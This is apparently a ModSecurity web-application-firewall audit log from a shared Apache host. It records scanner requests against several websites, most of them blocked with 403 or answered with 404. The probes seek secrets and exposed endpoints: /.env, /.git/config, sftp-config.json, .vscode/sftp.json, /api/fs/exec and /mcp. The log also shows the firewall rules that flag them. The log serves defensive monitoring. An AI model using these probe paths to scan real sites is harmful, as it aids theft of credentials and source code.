Stopwatch: 1789293742104809 108341 (- - -)
Stopwatch2: 1789293742104809 108341; combined=5447, p1=256, p2=4939, p3=0, p4=0, p5=252, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4bf94336-Z--
--62f66569-A--
[13/Sep/2026:13:02:22.536803 +0300] aqZ0risVWymXUono-eRViAAAAAY 34.80.249.255 52274 127.0.0.1 7081
--62f66569-B--
POST /api/fs/exec HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 27
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Content-Type: application/json
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
Accept-Encoding: gzip
--62f66569-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--62f66569-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293742467400 69469 (- - -)
Stopwatch2: 1789293742467400 69469; combined=6380, p1=415, p2=5612, p3=0, p4=0, p5=353, sr=231, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--62f66569-Z--
--b7296a55-A--
[13/Sep/2026:13:02:22.926404 +0300] aqZ0rmM7dE9KgIIOpQh3kQAAAMc 34.80.249.255 52282 127.0.0.1 7081
--b7296a55-B--
DELETE /api/inngest HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
Accept-Encoding: gzip
--b7296a55-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b7296a55-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293742860975 65482 (- - -)
Stopwatch2: 1789293742860975 65482; combined=4880, p1=347, p2=4251, p3=0, p4=0, p5=282, sr=149, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b7296a55-Z--
--058bcd4f-A--
[13/Sep/2026:13:02:23.304369 +0300] aqZ0r2M7dE9KgIIOpQh3kgAAAM0 34.80.249.255 52294 127.0.0.1 7081
--058bcd4f-B--
DELETE /inngest HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
Accept-Encoding: gzip
--058bcd4f-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--058bcd4f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293743218193 86232 (- - -)
Stopwatch2: 1789293743218193 86232; combined=9793, p1=1320, p2=8145, p3=0, p4=0, p5=328, sr=168, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--058bcd4f-Z--
--8735d11d-A--
[13/Sep/2026:13:02:23.670833 +0300] aqZ0r2M7dE9KgIIOpQh3kwAAAMg 34.80.249.255 52304 127.0.0.1 7081
--8735d11d-B--
POST /read-document HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 34
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Content-Type: application/json
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
Accept-Encoding: gzip
--8735d11d-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8735d11d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293743586276 84661 (- - -)
Stopwatch2: 1789293743586276 84661; combined=5386, p1=278, p2=4766, p3=0, p4=0, p5=341, sr=138, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8735d11d-Z--
--f265893a-A--
[13/Sep/2026:13:02:24.175492 +0300] aqZ0sCsVWymXUono-eRViQAAAA8 34.80.249.255 52320 127.0.0.1 7081
--f265893a-B--
POST /read-document HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 20
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Content-Type: application/json
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
Accept-Encoding: gzip
--f265893a-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f265893a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293744101179 74364 (- - -)
Stopwatch2: 1789293744101179 74364; combined=4701, p1=238, p2=4195, p3=0, p4=0, p5=267, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f265893a-Z--
--5d275202-A--
[13/Sep/2026:13:02:24.679974 +0300] aqZ0sGM7dE9KgIIOpQh3lgAAAM8 34.80.249.255 52332 127.0.0.1 7081
--5d275202-B--
POST /mcp HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 168
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Content-Type: application/json
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
Accept-Encoding: gzip
--5d275202-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--5d275202-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293744592743 87285 (- - -)
Stopwatch2: 1789293744592743 87285; combined=5044, p1=237, p2=4428, p3=0, p4=0, p5=378, sr=87, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5d275202-Z--
--e92e415c-A--
[13/Sep/2026:13:03:52.133890 +0300] aqZ1CEwu1RSkptiiNIX57AAAAII 185.55.243.172 50266 127.0.0.1 7081
--e92e415c-B--
GET /sftp-config.json HTTP/1.1
Host: www.3000demotive.ro
X-Real-IP: 185.55.243.172
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*
--e92e415c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e92e415c-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "sftp-config.json" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.3000demotive.ro"] [uri "/sftp-config.json"] [unique_id "aqZ1CEwu1RSkptiiNIX57AAAAII"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "sftp-config.json" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "www.3000demotive.ro"] [uri "/sftp-config.json"] [unique_id "aqZ1CEwu1RSkptiiNIX57AAAAII"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293832027188 106749 (- - -)
Stopwatch2: 1789293832027188 106749; combined=4203, p1=255, p2=3871, p3=0, p4=0, p5=76, sr=120, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e92e415c-Z--
--a36d9450-A--
[13/Sep/2026:13:03:52.330090 +0300] aqZ1CGM7dE9KgIIOpQh3nQAAAMA 185.55.243.172 50272 127.0.0.1 7081
--a36d9450-B--
GET /sftp-config.json HTTP/1.1
Host: www.3000demotive.ro
X-Real-IP: 185.55.243.172
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*
--a36d9450-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a36d9450-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "sftp-config.json" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.3000demotive.ro"] [uri "/sftp-config.json"] [unique_id "aqZ1CGM7dE9KgIIOpQh3nQAAAMA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "sftp-config.json" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "www.3000demotive.ro"] [uri "/sftp-config.json"] [unique_id "aqZ1CGM7dE9KgIIOpQh3nQAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293832250411 79748 (- - -)
Stopwatch2: 1789293832250411 79748; combined=4125, p1=288, p2=3774, p3=0, p4=0, p5=63, sr=137, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a36d9450-Z--
--36d59e76-A--
[13/Sep/2026:13:03:52.461746 +0300] aqZ1CEwu1RSkptiiNIX57QAAAIM 185.55.243.172 50274 127.0.0.1 7081
--36d59e76-B--
GET /.vscode/sftp.json HTTP/1.1
Host: www.3000demotive.ro
X-Real-IP: 185.55.243.172
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*
--36d59e76-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--36d59e76-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.3000demotive.ro"] [uri "/.vscode/sftp.json"] [unique_id "aqZ1CEwu1RSkptiiNIX57QAAAIM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293832370039 91757 (- - -)
Stopwatch2: 1789293832370039 91757; combined=6434, p1=457, p2=5885, p3=0, p4=0, p5=91, sr=198, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--36d59e76-Z--
--6c4bf72b-A--
[13/Sep/2026:13:03:52.610750 +0300] aqZ1CGM7dE9KgIIOpQh3ngAAAMc 185.55.243.172 50278 127.0.0.1 7081
--6c4bf72b-B--
GET /.vscode/sftp.json HTTP/1.1
Host: www.3000demotive.ro
X-Real-IP: 185.55.243.172
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*
--6c4bf72b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6c4bf72b-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.3000demotive.ro"] [uri "/.vscode/sftp.json"] [unique_id "aqZ1CGM7dE9KgIIOpQh3ngAAAMc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293832530840 79957 (- - -)
Stopwatch2: 1789293832530840 79957; combined=4190, p1=241, p2=3891, p3=0, p4=0, p5=57, sr=101, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6c4bf72b-Z--
--27e63966-A--
[13/Sep/2026:13:18:42.552740 +0300] aqZ4gEwu1RSkptiiNIX6UQAAAJg 40.87.20.23 40034 127.0.0.1 7081
--27e63966-B--
GET /.env HTTP/1.1
Host: chania24.taxi
X-Real-IP: 40.87.20.23
sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
sec-fetch-dest: document
sec-fetch-mode: navigate
sec-fetch-site: none
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US,en;q=0.9
priority: u=0, i
--27e63966-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link:
; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--27e63966-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "chania24.taxi"] [uri "/.env"] [unique_id "aqZ4gEwu1RSkptiiNIX6UQAAAJg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789294720938218 1614642 (- - -)
Stopwatch2: 1789294720938218 1614642; combined=6035, p1=298, p2=5683, p3=0, p4=0, p5=54, sr=123, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--27e63966-Z--
--f4d06265-A--
[13/Sep/2026:13:19:47.856299 +0300] aqZ4w2M7dE9KgIIOpQh4YwAAAM0 154.54.100.176 57046 127.0.0.1 7081
--f4d06265-B--
GET /.git/config HTTP/1.1
Host: behappydigital.com
X-Real-IP: 154.54.100.176
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1
Accept-Charset: utf-8
Accept-Encoding: gzip
--f4d06265-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--f4d06265-E--
--f4d06265-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.git/config"] [unique_id "aqZ4w2M7dE9KgIIOpQh4YwAAAM0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.git/config"] [unique_id "aqZ4w2M7dE9KgIIOpQh4YwAAAM0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.git/config"] [unique_id "aqZ4w2M7dE9KgIIOpQh4YwAAAM0"]
Stopwatch: 1789294787819603 36779 (- - -)
Stopwatch2: 1789294787819603 36779; combined=34488, p1=231, p2=34106, p3=71, p4=32, p5=48, sr=103, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f4d06265-Z--
--246db72c-A--
[13/Sep/2026:13:47:58.457798 +0300] aqZ-XWM7dE9KgIIOpQh5cwAAAMM 85.208.96.207 42756 127.0.0.1 7081
--246db72c-B--
GET /events/list/?tribe-bar-date=2026-07-02 HTTP/1.1
Host: ajutam.ro
X-Real-IP: 85.208.96.207
X-Accel-Internal: /internal-nginx-static-location
Accept: text/html, application/rss+xml, application/atom+xml, text/xml, text/rss+xml, application/xhtml+xml
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html)
--246db72c-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.3.33
Link:
; rel="https://api.w.org/"
X-TEC-API-VERSION: v1
X-TEC-API-ROOT: https://ajutam.ro/wp-json/tribe/events/v1/
X-TEC-API-ORIGIN: https://ajutam.ro
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--246db72c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:tribe-bar-date=2026-07-02& P: F:||T:APACHE||R:200"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Message: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=3355, p1=283, p2=3072, p3=0, p4=0, p5=0, sr=105, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=3355, p1=283, p2=3072, p3=0, p4=0, p5=0, sr=105, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"] [hostname "ajutam.ro"] [uri "/index.php"] [unique_id "aqZ-XWM7dE9KgIIOpQh5cwAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ajutam.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789296477913733 544140 (- - -)
Stopwatch2: 1789296477913733 544140; combined=8852, p1=283, p2=3072, p3=0, p4=0, p5=5496, sr=105, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--246db72c-Z--
--410ea143-A--
[13/Sep/2026:13:48:33.749061 +0300] aqZ-gWM7dE9KgIIOpQh5dQAAANE 216.126.237.47 47710 127.0.0.1 7081
--410ea143-B--
GET /.git/config HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 216.126.237.47
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept-Encoding: gzip
--410ea143-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--410ea143-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqZ-gWM7dE9KgIIOpQh5dQAAANE"]
